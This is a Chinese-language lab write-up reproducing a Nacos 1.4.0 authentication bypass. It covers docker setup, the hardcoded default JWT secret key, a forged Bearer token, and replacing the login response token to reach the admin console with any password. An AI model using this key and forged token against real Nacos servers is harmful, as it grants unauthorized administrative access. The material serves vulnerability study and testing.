Nacos
该漏洞存在的原因是因为该版本nacos中,token.secret.key值是固定死的然后使用该默认key可以构造JWT
登陆时进行抓包,替换返回包中的token值
即使账号密码错误,也可登陆后台管理界面
详细原理
环境搭建
下载
配置
访问
docker pull nacos/nacos-server
docker run \
--name
nacos
-d
\
-p
8850
:8848 \
--privileged
=
true
\
--restart
=
always \
-e
JVM_XMS
=
256m \
-e
JVM_XMX
=
256m \
-e
MODE
=
standalone \
-e
PREFER_HOST_MODE
=
hostname \
nacos/nacos-server:1.4.0
访问
登录
初始账号密码都为
nacos
漏洞复现
获取默认token.secret.key
位于conf下的application.properties中
构造jwt
进入页面
SecretKey012345678901234567890123456789012345678901234567890123456789
时间获取
进行参数修改
使用生成token登录
进入页面
账号密码随意
登录抓包
添加身份令牌
将生成的身份令牌添加进去
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMzQwNzY5OH0.4LPHb
u2SkDChVJ18ysoLS7Tm705ZeJyMy67ZfoMHnBs
#
放包后查看返回包
返回
200
,
token
为生成的
token
登陆成功